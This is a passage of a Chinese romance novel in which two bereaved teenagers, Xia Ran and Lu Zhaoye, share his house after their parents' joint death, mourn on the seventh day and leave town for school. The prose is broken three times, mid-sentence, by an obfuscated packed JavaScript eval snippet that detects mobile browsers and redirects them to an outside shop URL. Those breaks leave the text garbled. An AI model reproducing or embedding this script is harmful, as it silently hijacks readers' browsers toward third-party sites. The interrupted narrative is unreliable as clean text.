陆照也不准她一个人待家里,昨晚非把她拉去酒店,让她住自己预定的房间里,他则在隔壁又单独开了一间。酒店新开不久,不算高档,但干净舒适。夏燃年轻,身体恢复得快。洗了个热水澡,服了药,睡了一觉后就彻底没事了。两人起床后,在酒店里吃了个早餐,就回出租房里收拾。 陆照也在学校住宿六年,对打包行李并不陌生。他让夏燃把要拿的东西给他指出来,自己则把所有东西往地上一摊,半蹲在地上手脚麻利地收拾,没几下就把所有东西归了类。屋里有很多装旅店用品的纸箱子。陆照也琢磨了一下,让夏燃把个人贵重物品放书包里,其余的,他一并拿纸箱子打了包,又抗去附近的邮局,直接快递寄到自己家中。做完这一切后,夏燃又联系了房东,提前退了租,结算好水电煤气,拿回了押金。 跟陆照也觉得这几天过得极不真实仿佛在拍电影似的,夏燃的感受比他更重。短短几天里,她失去了太多。 她失去了妈妈,失去了曾以为可以带来安稳生活的旅店,失去了住了一年虽然简陋但可以挡风遮雨的出租房。 但她得到了陆照也。 八月夏天的夕阳像醉了酒的少年,伸展鎏金色的双臂,高举橘子色调的香槟,眼睛晕染酡红色的霞光,在向天际线无限蔓延的晨昏大道上,放肆飞奔。 夏燃恬静地坐在陆照也的背后,风绕过她的耳边,吟唱一句动人的话。 上帝给你关了一扇门,就会给你打开一扇窗。 上天带走了她的妈妈,就派了另一个人来保护她。 那个正义又霸道的人让她感受到了前所未有的安全感,就如同她明明从未骑过摩托车,但就是知道自己不会摔。 夏燃闭上眼睛,放纵自己尽情感受这一刻。 “陆照也”她在心里喊他的名字,“谢谢你。” 10. 他家 摩托车驶入南镇农贸市场时,落日变成了一条街的暖黄串灯。小小一颗一颗,小橘子似的,结在街边高高的香樟树上。 农贸市场是南镇最繁华的地方。 树下,是趁着夜色凉爽出摊的小商贩们。 有推三轮车卖水果的,葡萄西瓜水蜜桃堆成小山,山下守着它们的主人。 有卖女孩子发饰的,各色橡皮筋和头箍像糖葫芦一样串在粉红色的泡沫杆子上。 有卖爆米花的,不是电影院里甜得发黄的那种,而是把生大米放进一个大肚子似的铸铁老缸里,砰的一声,那沉甸甸吸了墨的漆黑炮口就会吐出白花花香喷喷的雪粒子。 还有卖衣服皮带鞋子、论斤称的小人书。卖干果、散装酒、炸串、酒酿、臭豆腐、凉粉、炒饭……好多好多好吃的。 城乡杂烩的烟火气一层铺着一层,遮住了人间离合。摩托车在里面绕来绕去,敏捷地像豹子散步,最后拐入第二个十字路口右侧的小巷子里。 巷子很窄,也很深,两侧都是两层楼的水泥墙小楼房,几乎都一样高一样宽,一户挨着一户,两户共享一道红砖院墙。摩托车穿在风的夹缝里,夏燃若是此时把手臂展开,手指也许会在水泥墙上擦出烟花般的火星子。 她当然不会这样做。她好乖,又好静,手按在座椅两侧,目光共振着陆照也的背影,像他的一条小尾巴。 摩托车又拐了两个弯,在一条挂牌青石巷11号的窄巷尽头停了下来。 陆照也从口袋里摸出钥匙。夏燃在淡金色不锈钢大门推开之时,看见了一个长方形的小院子和院子里头一栋四四方方的自建房。两层,小方格白瓷砖的墙,陶红色菱片瓦的顶。屋顶上悬着一个圆澄澄的大月亮,月色明亮,像柔了纱的白昼。 她背着她的书包,轻轻地走入安谧的月色中。 陆照也把摩托车推进屋去,停在靠门角落里的枣子树下。枣子树干细小却枝繁叶茂,一根树枝上挂着一灭蚊子的黏黏板。碧绿枣叶落了一地,风一吹,卷了边,涩涩的。也是好多天没人打扫了。 夏燃看见院子里放着扫帚,她想把落叶盛满畚斗,埋在枣树底下,落叶归根。 但她什么也没动。她规规矩矩地站着,看着陆照也摘下了头盔,松了松他宽阔的肩膀。 他脸上的表情是松弛的,看不出来一丝疲倦。他的个子好高,抱着头盔的样子,像古代将军抱着剑。夏燃的心又砰砰跳得厉害。 “进来吧。”陆照也走进屋,开了灯。白灯亮起的一瞬,他眯了眯眼,不知在想什么。 夏燃心思细腻,犹豫了一下,还是问出了那个问题:“这几天你有亲戚朋友会来吗?” “先进来再说吧。”陆照也扫了夏燃一眼,“夏天蚊子多,一不小心就进屋了。” 她赶忙进屋,陆照也关上了带纱窗的防盗门。 门合上的刹那,发出来清脆的一声响,夏燃低垂的睫毛颤了颤。 “没人会来。”陆照也把头盔挂在进门处的衣架上,“我奶奶老家鲁西南的,嫁给我爷爷后才在这里定居,她走后亲戚就不怎么来往了。我爸以前常年全国跑运输,跟亲戚们顶多就过年见见。都忙。” 他还是隐瞒了。陆刚和徐阿秀殉情一事在南凤村已经成了家喻户晓的饭后话题,只不过还没人能脸皮厚到这个关口上去直接打扰陆照也罢了。而且陆刚一单身汉,又是为女人殉的情,曾经沉默得几乎快查无此人的他一跃成了村里妇女口中的痴情男儿第一名,祝英台的性转版。 而徐阿秀的形象显然远不如陆刚了。村民们私下讨论得火热,一个平平无奇的女人究竟是使了什么狐媚法子,能勾引一个中年男人抛下独生子,舍命相随。 夏燃跟乡音隔着几重山,听不见这些闲言碎语。她也说不清自己心里究竟是什么情绪,有些释然,又有些怅然。她知道他们都是人世间最普通不过的渺小人物,无权无势,日复一日地默默活着。死亡,对外人就是两个名字的消失,仅此而已。 “村子里的人以后都会忘记他们的,对吧?”她低声说。 陆照也看着她:“我们记得他们就行了。” 虽然二人心知肚明,夏燃开学后就要住学校,在这里一共也待不了四五天,陆照也还是认认真真带她完整逛了一遍自己家。 “这一间是放东西的。”他指着厨房对面的一间宽敞的白坯杂物间,“到时候你东西都放这,想取就直接来这里取。” 又带她去了二楼。 上楼是个小客厅,很朴素,沙发茶几电视柜三件套,没多余装饰,沙发上铺着老花的沙发套,墙上的挂历还是去年的。朝南并列三间卧室。中间一间以前奶奶住的,左边一间陆刚住的,右边最里一间是陆照也的。陆刚曾经以为他会在这里住一辈子,花了些钱让人装修,铺了木地板,每间都安了空调。家具也都是实木的,虽然看着样式土,但料子足,住起来应该挺舒服。楼上楼下都有卫生间,用电热水器洗澡。 “你要么住我奶奶的房间?”陆照也有点犯了难,“我现在收拾下。” 几天前他根本不认识她,哪知道会有一女孩子住进他家里来。奶奶过世后卧室被彻底收拾过一遍,这两年基本都空关着,橱柜里还放着她曾经的一些个人物品。而陆刚的卧室是他走之前的老样子,孤寂简单得就像他这个人。陆照也整理过他橱柜和床头柜里头的物品,除了身份证驾照行驶证、皮卡车保险单、自建房不动产证等一沓子证明外,没有再找出只言片语。 夏燃本想说就几天功夫,我睡客厅沙发上就好。但她知道若她真这么说,陆照也准会生气。她便改口道:“谢谢。” 陆照也挠了下额头,进屋去铺床了。 夏燃跟在后面:“我来吧。” 陆照也从木柜里抱出一床褥子,又找出一套印花四件套。夏天的被子轻薄,抱在手臂里软绵绵的。 他确实不太会铺床,便说:“那你帮我下,拉住被子的角,我扯下被子。” 夏燃站他一臂远处,轻声坚持:“我来吧。” 她用手掌快速量了下床罩和被子尺寸,又把床罩从里头一翻,翻出左右两只角来,一套,一捏,双手拉直,用力地把被子大幅度地一甩一抖。床单跟施了魔法一样,自动罩住了被子的另外一边。 陆照也看着夏燃的脸在波浪起伏的被子后若隐若现。他在心里默算了下时间,她套完被子全程大概就两分钟,完全用不着他。 他干站着,脸上的表情难得的有点愣:“厉害了,哪学的?” 夏燃拉好床罩拉链:“你忘了么,我妈妈开过小旅店的呀。” 五天前她还在旅店里跟来不及打扫的保洁阿嫂一起铺床。夏燃喜欢钻研,连铺床这种事她都研究过怎么可以铺得又快又好。 陆照也目光下移,在她灵巧的双手上短暂地停了几秒,抬起眼又问:“那你还会什么?” 大概是为了避免陷入无话可说的尴尬,夏燃一边铺床,一边说了很多话。 “我刷墙刷得可好了。旅店白墙很容易弄脏,找师傅来一次挺贵的,后面都是我跟妈妈一起刷的。先拿小铲子铲掉脱落的墙皮,用打磨砂纸打磨平整,腻子粉一层,干透后白漆一层。我知道怎么去除各种污渍,有些客人很喜欢在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126777|196112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 床上看着电视吃东西,方便面的汤汁或者烧烤的油会滴在被子里,平日用的洗衣液很难洗掉,得参点食盐和牙膏在洗衣液里,然后用手搓。我还会安装简单点的电灯和插座呢,师傅安装时我在旁边看过。这种东西坏一个两个的临时找人来修挺麻烦,但其实学会了就不难,分清楚零线火线底线,对应接上就行了。” 说着说着,脸上终于有了点少女淡雅的笑容。 “来店里住的很多是外地过来找工作的,也有大学生或小情侣出来旅游的,有钱人不住我们这种。有些人看过去凶凶的,嗓门好大,以为很难搞,但其实只是想省点钱罢了,得让他们觉得性价比高。我现在已经会判断什么样的人需要什么样的服务了。旅店里备着针线包、花露水、卸妆油、碘伏、酒精、创口贴、耳塞之类的,其实大部分人都用不太到,但万一用到了他们就会觉得我们服务贴心,下次还会考虑我们这里。我跟妈妈都喜欢出来旅游的,大部分时间都不在屋里,节约水电费。商用水电费真的好贵的。” 陆照也一直站在床尾,安安静静地听她说话。他想,原来她也是可以说这么多话的。 夏燃反应过来,道:“我是不是话太多了?” 陆照也低笑着摇头:“你多说些,我喜欢听,可以学不少东西。” 夏燃不好意思地笑笑,又想起什么,眼神低沉了些。 “今年冬天遇见一位大叔。他半夜喝了点白酒,哭得跟小孩似的,说累死累活三个月没拿到工资,没法回家面对家人。那次真把我跟我妈吓坏了,以为他要想不开,陪他说了很久的话才安慰好,也不知道这个大叔回家后怎么样了。我妈妈曾经工作过的一家小酒店遇到过客人自杀。那个客人听说是炒期货欠了很多钱,连住三天叫前台中间不用打扫,等到时间了去打扫时,发现人都开始发臭了。后来家属过来闹了很久,老板生意做不下去关了店,赔了不少钱。” 她低下头盯着整洁的床单,眼前浮现出他们的父母手牵手躺在床上的样子,轻声说:“我妈妈是不想给任何人添麻烦,才选择在你们老屋走的。” 陆照也看她:“你还在琢磨这事?” “就是觉得……他们一定不会希望我们陷入流言蜚语。”夏燃声音越来越小,“你爸爸肯定是很在乎你的。” “我没怪他。”陆照也说,“他们活的时候总为别人考虑来考虑去,憋屈。搁我的话,谁的话都不听,就听我自己的,我要是觉得这件事情对,那就做。人就一辈子,活就活得尽兴,死就死得潇洒。” 夏燃已经把床都铺好了,现在两个人隔着床面对面站着,手上都没了事,一时又无了话。 “肚子饿了吧,出去吃点东西?”陆照也说,“农贸市场是镇上最热闹的地方,你逛过没?” 夏燃摇摇头。她当然很想出去逛,毕竟十几岁的少女也喜欢新鲜热闹。可她一想到万一碰见童凤村的村民,让他们看见陆照也带着她来逛,又要平白给人添了口舌,出去的欲望立刻就散了。 “我不饿。”她垂下眸子,“我有点困,想睡了。” 陆照也盯着她看了一会儿。 “得,我是饿死了。”他耸了耸肩,“我出去买点吃的,电视遥控器在茶几上,厨房里有凉水,冰箱里有冰红茶,想喝什么就自己拿。” 不等她回答,他掉头摆了摆手:“走咯,去去就回。” 夏燃听见楼下门咔哒一声轻轻被带上,夜色瞬间就寂寞空旷了。摩托车停在枣子树下,像看家护院的大黑藏獒。远处的山隐在烟火里,遥遥又听见几声狗吠声,窗外隔巷邻居的窗亮着,里面闪烁着电视机的光芒。 11. 三天 夏燃就这么在陆照也家里住下了,三天里她一步也没出去过。 电话卡拔了,手机关机丢进书包里,她不让自己去想跟夏许利有关的任何事,把自己变成与世隔绝的隐士,住在不熟悉的故乡里。 整个世界小到只剩两个人。 第一天她醒得很早。确切来说,似睡非睡,浅浅失眠。脑袋在枕头上翻来覆去,灯亮时一看都是掉发。她的头发过了肩胛骨,又细又黑,在粉白的床单上格外显眼。怕陆照也发现,夏燃拉开被子,把床上的掉发一根一根抓起来,拢在手心里,毛茸茸的黑色一团。她把毛球扔进垃圾桶里,又拿纸巾盖住,压在了最底层。 做完这一切,天还没亮。她也睡不着,干脆拉开窗帘,安安静静地望向窗外。 灰蓝色的玻璃窗反照着她的身影,长着枣子树的小院子穿透空间走进卧室里。白色的墙,黑色的夜,黄色的衣柜,水泥色的地,像千禧年新老交错的寂寞空气。 天空开始翻涌出青蓝,山脊间夹杂着一丝橘红。夏燃不知看了多久,一直看到橘红色烧得越来越旺,把青蓝色挤到了山的背面。 她已知道,山的背面有很多废弃无人居住的砖木土屋。每一栋屋里都住过一些人,发生过一些事。 他们和它们都被时间的流沙给遗忘在了过去。入葬那天,她在山上看见了好多个长满荒草的土坟冢。 她不确定自己是否也会变成这样。就像陆照也,他看过去并不难受,一直都没事人似的,可她恍惚记得,自己发烧那晚,他坐在自己的床边,双手捧住脸,脊背簌簌颤得厉害。 当他们清醒时,谁都不再哭。 陆照也醒了,夏燃在卧室里听见他走进卫生间。陆照也的动作很轻,轻得不像他这个人。 她仍是拘谨的。一开始怕吵到他睡觉,她没出去洗漱。现在他起床了,她又不好意思没刷牙洗脸就去见他。 几分钟后,夏燃听见陆照也下了楼。她偷偷弯腰藏在窗户下沿,露出一双眼睛,看见他的背影消失在了院子外,这才做贼似地溜进卫生间洗漱。待盯着镜子里的自己彻底洗干净疲倦后,又仔仔细细地扫掉地上的碎发。 陆照也出去了一个小时才回来,院门是被他拿脚踢开的,进来时双手拎满了塑料袋。 夏燃犹豫了几秒,下楼去迎。 他手里提的是热腾腾的早点和新鲜的瓜果蔬菜。 油条大饼茶叶蛋小笼包豆腐脑红枣豆浆铺满一桌,黄瓜番茄鸡毛菜和绿油油的大西瓜堆在墙角。厨房瞬间有了烟火气。 八月中下旬的早晨太过闷热。陆照也来来去去,手掌心勒红了,汗水沿着脖颈流进了衣服里。 他在厨房水龙头下面冲了把脸,觉得还不够凉快,下意识就想脱掉身上汗湿的体恤。双手放在衣摆两边,刚露出少年劲瘦的腰线,余光瞄见夏燃猛地偏过头去,耳朵红得跟墙角的番茄一样。 陆照也愣了一下,缓缓放下了手。 “我去冲个澡。”他一把抹掉脸上的水珠,“你自个趁热先吃,不用等我。” 夏燃红着耳朵不自然地点头。 待吃完早餐已快九点,两个人各回各屋。又过了好大一会儿,陆照也敲夏燃的卧室门。 他把自己高中的教科书参考书练习册一股脑全给了夏燃,刚刚高考完,资料齐全得很。 “我理你文,不过主科都一样,你拿着看看,不懂问我。”他顿了下,补充一句,“忽略我的字。” 陆照也的字跟他这个人很像,眉飞色舞自由狂傲。夏燃注意到他应该不太喜欢数学和英语,这两个科目里小人画最多。圆脑袋柴棒四肢,一会儿跟人摔跤,一会儿云里翻跟斗,一会儿骑摩托,总之折腾得很。到了高三时书里就没小人了,但整本书空白处几乎被他写满了,都是一堆看不太懂歪七八扭的注释。 夏燃一会儿看看印刷字,一会儿看看他的注释,看着看着,把头埋进书页里,笑了。 笑了一会,想起什么,眼神又变得黯淡。 陆照也的教课书出现得很及时,没有它们,夏燃不知道该怎么打发在房间里的漫长时间。 毕竟他把书给夏燃后,就骑摩托车出门了。 陆照也早就计划好在成人后的这个暑假拿到驾照。笔试和科目二都通过了,就差收个尾。陆刚的皮卡他以前摸过几次,手不生。 他给她一把院子大门的备用钥匙,说:“要出去别忘了带钥匙,如果有人敲门你不用开,我晚上回来会带吃的。” 夏燃不看手机,不出去,谁敲门她都当听不见。 她安静地待在家里,看看书,吃东西,等着他,一天过得飞快。 中间也有人敲门,不锈钢大门震得呼呼响,她拉拢窗帘不去看,只知道有男有女。等陆照也晚上到家后她告诉他,他点了点头,说大概是邻居串门,不用理。 等到第二天,夏燃已经知道陆照也出门的时间。她在卧室里提前拿清水漱了口,揉掉可能会有的眼屎,又在脸上捏出点血色,这才在他出门之前过去打招呼。 “有事?”他挑眉看她。 “今晚你能早点回来吗?”夏燃小声说,“今天是头七,我想准备点贡品。” 夏燃以前从未经历过亲人离世,但火车站附近老小区住的老人多,她看见过一楼老人去世后,家属们请来了和尚念经,还说头七时死者会回家看看,得准备点他们爱吃的东西。 以前夏燃是不信这些的。学校里教要相信科学,破除封建迷信,她一直都认为人死了就是死了,身体的陨灭同时也带走了灵魂。如果一个人做梦梦见了离去的亲人,那只是因为太想念了。 可现在她觉得,有念想比没念想要好。 没有家长教的孩子全得靠自己摸索,夏燃不知道头七还要准备什么,陆照也也不知道。 他垂下眼睑,问:“你妈爱吃什么?” 陆照也四点多到的家,这一次是摩托车手把上挂了一堆塑料袋。 有菜有肉有鱼有酒有零食。 徐阿秀几乎不吃零食,但唯独喜欢吃长鼻王。而陆刚喜欢红烧肉和烫黄酒。 夏燃把桌子收拾干净,把成品菜一个一个倒扣在碗碟上,又拿筷子理出形状。长鼻王堆成金字塔也是一道菜。黄酒陆照也拿小锅烫热了,倒在陶瓷杯里,放在红烧肉旁边。 他们都不太会烧饭,都是买的成品。米饭是自己煮的,水放多了,有点稠。 夏燃把两双筷子毕恭毕敬地放在米饭旁,轻声道:“妈妈,伯伯,对不起,这次烧得不太好,下次我就会了。” 两个人分坐在餐桌的对边,没动筷,就坐着。他还是黑衣黑裤,她还是白色及膝裙,一黑一白,倒也对称。 都仍是青涩少年的脸庞,眼睛却一同成熟了起来。 沉默了会,他直视她:“你要喝一点吗?” 她垂着眸点点头:“我想敬他们一杯。” 陆照也拿过煮酒的小锅,给夏燃倒了一点黄酒。说是一点,真是一点,薄薄浅浅一层,大概半口都不到。 他给自己则倒了一整杯。 夏燃看锅里还有不少黄酒,伸出手,说:“锅子给我一下好吗?” 陆照也目光如炬:“真要喝?” 夏燃说:“我能喝。” 陆照也有点严肃:“你还未成年。” 夏燃轻声说:“今天是例外。” 陆照也没说话了,他给夏燃又倒了半杯。 两个人举起陶瓷杯,给天上的父母敬了酒。 黄酒不辣,一杯下肚,暖融融的,两个人的眼睛都起了雾。 陆照也突然问她:“你心里有计划要上的大学和专业吗?” 夏燃又想起了夏许利的话。 她不想把这些话讲给陆照也听。 在喜欢的男孩子面前,女孩总是希望自己能出色一点,优秀一点。不难堪。 “还没想好,看到时候考的分数吧。”她这么说,又问,“你呢,你为什么想要当警察呢?” 陆照也低头盯着桌子上的饭菜,等他抬起头看向夏燃时,换成夏燃低头看酒杯了。 完了,她想,自己的脸是不是红得厉害,她完全不能够看他。是黄酒的问题吧,为什么他的目光他的声音都飘着醉人的香气,闻上一口,她的身体就飘了起来。心脏在半空中吊着,膨胀,收缩,四周都失了焦,手心都湿漉漉的呢。 陆照也一时没回复,空气咔哒一声,像卡顿的胶卷。夏燃低着头,用面无表情拼命掩盖内心的兵荒马乱。 “我小时候挺混的。”陆照也突然说。 村里留守儿童不少,陆照也从没因为这个自卑过。陆刚在家时间太少,奶奶管不住他。男孩子天性好动,一点事情就燃起来。临上初三暑假时他已经很高了,觉得做人要讲义气,成天混在小团体里,老帮兄弟出头。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126778|196112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 有次一小兄弟被人霸凌,他们一帮人组团去城里报仇。场地选在一工地旁,斗急眼了,他抄钢筋打破了对方的肩膀,在看出所待了一晚。值班的是个年轻的民警,一口标准普通话,拎把椅子过来跟他说话。 “长大后准备做什么?” 陆照也冷眼看着小民警耍官腔,说:“关你鸟事。” “你再打准点,那人就要开脑颅了,你现在蹲得就不是看出所了,是大牢了。”小民警说,“觉得自己很厉害是不?逞英雄啊?一条人命背后就是两家子,他一家,你一家。你让你奶奶怎么办?你蹲大牢出来看大门都没人要。” 陆照也没说话。 小民警又说:“不过我以前跟你也差不多,没目标,精力无处释放,觉得天大地大,老子最大。你知道我怎么就干警察了不?” 陆照也说:“被收买了呗,学宋江被招安。” 小民警笑笑:“因为突然想开了,人生一世,不想稀里糊涂就过完了。看见这警服了不,看见这警徽了不,想当英雄啊,有本事先考上啊?你以为那么好考,你他妈高中都考不上!” 毛头小子陆照也被他激怒,骂:“谁说我考不上?” 小民警说:“那有本事先考上高中,我在这里等你回来找我啊。” 后来的事情夏燃当然知道了,她轻轻问:“你回去找他了吗?” 陆照也眼神沉了一些,说:“高中录取书收到第二天我就去找他了,他扫黑时被人盯上报复了,死了。” 夏燃酒杯凝在半空中。 “这世界确实不是好人就一定有好报,坏人一定有坏报。这世界挺混蛋,挺不公平的。”陆照也说,“但我还是决定做一个好人,做自己认为对的事。” 他又喝了一杯,抬起头,直直地看着夏燃:“你爸是你爸,你是你。过去是过去,未来是未来。喝完这一杯,咋们以后都朝前看。” 这样的生活进行到第三天时,夏燃算了下距离开学只剩下不到两天了。她想在走之前,为他最后做些什么。 陆照也那天考试一把过,当天就拿到了驾照,结束后请教练吃了顿饭,喝了点啤酒,回家后发现屋子自带白光,还以为自己又酒醉眼花了。 院子里一点尘埃都没有,落叶不见了,全堆在枣子树下,被人拿畚斗压实了。玻璃窗亮得透明,本来放在地板上的鞋子统一鞋口对内,人走进来脚一伸就能套。灶台上的油垢消失了,瓶瓶罐罐整齐划一地摆放着,白瓷砖锃亮锃亮的,跟车油漆面抛过光一般。沙发套子洗过晒过了,有阳光的蓬松味。地板扫过拖过,电视背面一点儿灰都没了。客厅里放着一张陆照也高一时的照片,照片上的塑封膜原本有星星点点的脏点,现在也看不到了。十六岁的陆照也已经很高了,居高临下地看着镜头,一脸自信张扬。 陆照也站在客厅环视一圈,除了自己和陆刚的卧室无人入内过,公共区域里的每一处角落都悄然发生了巨大的改变。 他皱着眉头走进卫生间,马桶白净发光。他扶着自己那个,连尿都撒不出来了。 夏燃发现陆照也的脸色变得不太好看。 她突然有点慌,想是不是自己动了不该动的东西,惹他不开心了。毕竟这是别人的家,不是她的家。 陆照也拧着眉头看她:“花了多久时间?” 她小心翼翼地说:“很快的,没多久。” “没多久是多久?” “两三个......”夏燃又觉得撒谎更不好,“一天。” 本来没想花那么久时间的,只是一开始就停不下来了,非得强迫症似的全搞干净才可以。 陆照也眼睛沉沉的,看了看她的脸,又看了看她的手。 夏燃手指纤细,但并不娇嫩,手指尖略微有些粗糙,是一双看得出干活痕迹的手。 “我昨天白说了?”陆照也手指往书本上一点,“朝前看,你前头在哪?” 不等她回答,他跟个大人似的教育她:“前头是好好上学,以后好好生活。高中还剩最后两年,别再浪费时间瞎整其他的。记住了不?” 夏燃抬起头看他。从她的角度,他的单眼皮冷静坚毅,鼻梁高高的,下颌线雕刻着男性独有的阳刚。 她不再像以前那样看他一眼就匆匆撇开眼。她第一次勇敢地抬起头凝视他,直到陆照也先移开了视线。 “记住了。”她说,“我一定会好好念书的。” 12. 离镇 时间一天天的过,转眼就是高二开学日。明诚高中抓得紧,要求高二高三年级提前报道。大学开学原本要比高中晚一些,但大一新生要军训,二人开学仅一天之差。陆照也说先送她上学,随后自己再奔赴隔壁城市。 她的家当基本都在他家里。母女俩春夏秋冬的衣服鞋子,高一时的书本和练习册,电饭煲之类的小家电等。听过去名目繁多,但实际上就出租屋里一年的个人物品,占据他家杂物间微不足道小小一个角。夏燃破天荒晚上出门去农贸市场买了个大点的行李箱,把个人证件和一学期要用到的物品放在里面,把徐阿秀的手写信和存放证据的饼干盒则留在了陆照也奶奶的卧室里,裹在一堆衣服中,塞在了橱柜最下面。 在她心里,陆照也家里比宿舍要安全得多,这里能藏的住她的小世界。 离开之前,夏燃终于鼓起勇气把电话卡插上了。果不其然,除了要债的短信和一堆未接来电外,夏许利昨天一口气轰炸了她几十条短信。他不知从何处打听到消息,得知徐阿秀和陆刚一事,也知道夏燃把他们埋在了一起。公开的绿帽和羞辱让他简直快失心疯。短信里的内容每看一条都要令夏燃缓很久,等全部看完后,她整个人都抑制不住地发抖,肠胃绞痛,难受地想吐。 夏燃在卧室里一个人待了很久。自己的爸爸是什么样的人她并不是第一天才知道,做出决定时就该知道会面对什么。 痛苦的挣扎过后,她把短信内容拿给陆照也看。涉及两人的事,她不能瞒他。 “对不起。”她羞愧看他,“他可能会来骚扰你。” 陆照也岔着腿坐沙发上,面无表情地把短信从头到尾看了一遍,又抬起头看她。灯光下,她的脸色是苍白的,眼底都是血丝。 他淡定地掏出自己手机,把每一条短信都拍了照留存,又把所有未接来电录了屏。 “这张电话卡别用了。”他说,“注销掉,里面内容提前备份下。” 她木然点头。明诚高中管得紧,手机周日晚上统一上交,周五放学后才统一发下来,本来也用不太着。 “你爸知道你上哪个高中吧?”他只担心这个。 夏燃深吸一口气,说:“我中考前他就不知所踪了,我妈跟所有认识他的人说我中考考砸了,上的是职高。没人会质疑,毕竟当时讨债的人闹得挺凶的,他们都认为我肯定受到影响了。除非他去问我初中老师,但他向来也不会关心我成绩。” 陆照也嗯了一声,两个人都沉默了一会。天底下还有这等怪异神奇的父女关系。 “我待会出去一趟,拿我身份证给你办个新手机号。学校里需要沟通的地方,你留我电话。”陆照也声音里听不出异样的情绪,他前所未有的冷静,“以后上学需要家长监护人签字的,你跟我说。开家长会可能来不了,你把你情况跟班主任大概说一下,不用提细节,老师能理解。” 陆照也知道,未成年人的世界里方方面面都需要监护人的同意,电话卡不能拿自己身份证办,银行储蓄卡用的还是红色的存折卡,更别提租房买房等大事了。她正在经历的,他也经历过。 夏燃余光扫过他的脸,又点点头。尽管她内心一丝一毫都不想麻烦他,可眼下的情况,她只能依赖他。 陆照也大拇指顶着额头,揉了揉眉心,眼神凝重,把将来可能会遇到的事未雨绸缪地又梳理了一遍。他只不过比她大两岁,却莫名有了为人父为人兄的感觉,而且代入地还挺迅速自然。 “我进校了就不太方便出来,电话也不一定能接到,你有事就给我留言,我看到了会第一时间回你电话。你爸的事跟你没关系,你就在学校里好好学习,钱不够跟我说。” 夏燃立刻毫不犹豫拒绝:“我妈妈给我留的钱够用的。” 她算过,徐阿秀给她留的钱,差不多可以支撑她上完高中和大学头一两年。等她高考结束,她就成年了,也就可以勤工俭学了。 陆照也没问她妈给她留了多少钱,毕竟人家隐私。他顿了顿,严肃地说:“如果你爸来找我,我就按照我方式处理了。我不会把他当你爸的,行不?” 夏燃听懂他的意思。她扯了扯嘴角,竟释然又淡然地笑:“我也没把他当我爸。” 他们在黎明前夕离开了南镇。 鸡未鸣,狗不吠,摩托车睡在枣树下,房门院门一重重上了锁。黑压压的天空下,陆照也背着单肩包,一手一个行李箱,不推,离着地面拎着,不发出一丝滚轮摩擦的声音。夏燃背着书包,盯着他的背影,亦步亦趋地跟着。 巷子里没有路灯,两侧楼房的窗黑暗,人们睡得静悄悄。只有天上一轮明月望着他们。月色皎洁明亮,月光下陆照也的影子拖到了夏燃的脚下。 她抬起脚,轻轻碰一下他的影子,又加快了脚步,走进他的影子里。 陆刚的江陵二手皮卡在明月小巷的尽头沉默地等待。 陆照也把行李箱往背后一搁,打开车门,让夏燃先上了车。 “新手拿驾照后的第一次摸车。”他把包放后排,“怕不怕?” 夏燃把书包放在脚边,扣上安全带,望向面前万籁俱寂的黑夜,真心觉得:“好像去探险。” 陆照也勾了勾唇角,发动了车,远照灯在前方探出一条发光的路。 小镇被群山环绕。他们路过农贸市场的外围,晚上喧嚣繁华的路边摊贩残留下一堆地上蛇皮袋似的铺盖,为了营造氛围的串灯已被熄灭,香樟树成了一条街巷朦胧的绿影。皮卡车在天地之间安安稳稳又轰轰隆隆地行驶,晃荡着车里两个年轻的人。 他们都没有说话,一个安安静静地开着车,一个安安静静地坐着车。 夏燃坐在副驾驶座,头轻轻靠在玻璃窗上,睁着眼睛出神地望向窗外。 她其实并没有真的看向窗外。黎明前夕是最深的夜,夜晚把玻璃窗幻化成了一面模糊的反光镜子,她在镜中终于敢放肆地看他。 他的侧脸轮廓刚好贴合着她的眼睛。 寸头,刚毅的单眼皮,挺直的鼻梁,清晰的下颌线。他的手放在方向盘上,手掌宽大,指节略粗,是很男人的手。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126779|196112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不像少年。 夏燃在心里偷偷地沉溺,陆照也,真的好好看啊。 狭窄的空间里,两个人身上的气息席卷了每一个角落。他们昨晚都好好洗了个澡,身上有舒肤佳香皂的纯白柠檬味。而车垫里残存着过往香烟的味道,两种味道混杂在一起,伴随着这个黎明前的黑夜,成了夏燃十六岁隽永的记忆。 崎岖山路的尽头,日出浮光一寸一寸显影了他们的脸。 在去夏燃学校之前,他们先去了埋葬父母的大山。 因为公路只修了一半,陆照也把车停在离坟墓最近的地方。 明月未落,东方破晓,一东一西,一浓一浅。群山在日月同辉的光影下,迎来浓墨重彩熠熠生辉的全新一天。 两个人站在朝阳耀眼的光辉里,火一样的红光倾泄进他们的双眸。 他们在黑暗里追逐着光,渐渐成为了光的一部分。 “走了。”陆照也对陆刚说。 